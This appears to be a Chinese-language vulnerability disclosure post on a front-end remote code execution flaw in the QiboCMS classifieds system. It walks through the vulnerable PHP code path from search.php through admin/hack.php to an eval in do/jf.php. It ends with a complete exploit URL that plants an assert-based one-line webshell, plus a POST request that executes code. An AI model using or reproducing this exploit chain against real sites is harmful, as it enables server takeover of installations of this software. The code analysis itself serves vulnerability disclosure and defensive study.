qibocms 分类系统最新版 前台无限制Getshell

下载地址:http://down.qibosoft.com/down.php?v=fenlei1.0
首先来看一下inc/common.inc.php中

isset($page) && $page = intval($page);

isset($id) && $id = intval($id);

isset($fup) && $aid = intval($fup);

isset($aid) && $aid = intval($aid);

isset($rid) && $rid = intval($rid);

isset($fid) && $fid = intval($fid);

isset($cid) && $cid = intval($cid);

isset($cityid) && $cityid = intval($cityid);

可以看到city_id在全局文件中被intval了。
再看到search.php中

$postdb[city_id]	&&	$city_id	=	$postdb[city_id];//对city_id 重新定义了一次。 导致了无视全局文件中的intval了。

$postdb[street_id]	&&	$street_id	=	$postdb[street_id];

$postdb[zone_id]	&&	$zone_id	=	$postdb[zone_id];

@include_once(ROOT_PATH."data/zone/$city_id.php");//包含
$city_fid=select_where("{$_pre}city","'postdb[city_id]'  onChange=\"choose_where('getzone',this.options[this.selectedIndex].value,'','1','')\"",$city_id);

全局有转义 截断不了
但是因为qibo的特殊性 在qibo的后台文件当中

function_exists('html') OR exit('ERR');

所以直接访问是不行的。是这样判断的 所以我们就算不能截断 我们可以直接把后台的文件包含进来 然后进而操作后台。所以qibo在操作包含的文件中都用正则来过滤了, 却遗漏了这里。打开do/js.php 发现

<?php

error_reporting(0);

require(dirname(__FILE__)."/../data/config.php");

if(!eregi("^([0-9]+)$",$_GET['id'])){

	die("document.write('ID不存在');");

}

已经把extract去掉了, 那就找另外的。在admin/hack.php中

if($hack&&ereg("^([a-z_0-9]+)$",$hack))

{

	if(is_file(ROOT_PATH."hack/$hack/admin.php")){

		include(ROOT_PATH."hack/$hack/admin.php");

	}else{

		showmsg("文件不存在");

	}

}

再包含文件 再继续跟。在hack/jfadmin/admin.php中

elseif($action=="addjf"&&$Apower[jfadmin_mod])

{ 

    

	$db->query("INSERT INTO `{$pre}jfabout` ( `fid` , `title` , `content`, `list` ) VALUES ( '$fid', '$title', '$content', '$list' )");

	jump("添加成功","index.php?lfj=jfadmin&job=listjf&fid=$fid",1);

}

这里入库了。 再看到do/jf.php中

$lfjdb && $lfjdb[money]=get_money($lfjdb[uid]);



$query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");

while($rs = $db->fetch_array($query)){



	$fnameDB[$rs[fid]]=$rs[name];

	$query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");//这里默认查的都是1 所以入库的时候fid弄为1

	while($rs2 = $db->fetch_array($query2)){ 

		eval("\$rs2[title]=\"$rs2[title]\";");//就eval了。

		eval("\$rs2[content]=\"$rs2[content]\";");

		$jfDB[$rs[fid]][]=$rs2;

	}

}

准备写一句话的时候,却发现了,在inc/common.inc.php中

function Add_S($array){

	foreach($array as $key=>$value){

		@eregi("['\\\"]+",$key) && die('ERROR KEY!');

		if(!is_array($value)){			

			$value=str_replace("&#x","& # x",$value);	//过滤一些不安全字符

			$value=preg_replace("/eval/i","eva l",$value);	//过滤不安全函数

			!get_magic_quotes_gpc() && $value=addslashes($value);

			$array[$key]=$value;

		}else{

			$array[$key]=Add_S($array[$key]); 

		}

	}

	return $array;

}

把eval替换了,这样我们就用assert把。
http://web/new/fenlei/search.php?mid=1&action=search&keyword=asd&postdb[city_id]=../../admin/hack&hack=jfadmin&action=addjf&Apower[jfadmin_mod]=1&fid=1&title=${@assert($_POST[yu])}

http://web/new/fenlei/do/jf.php

POST:yu=phpinfo();

1

发表评论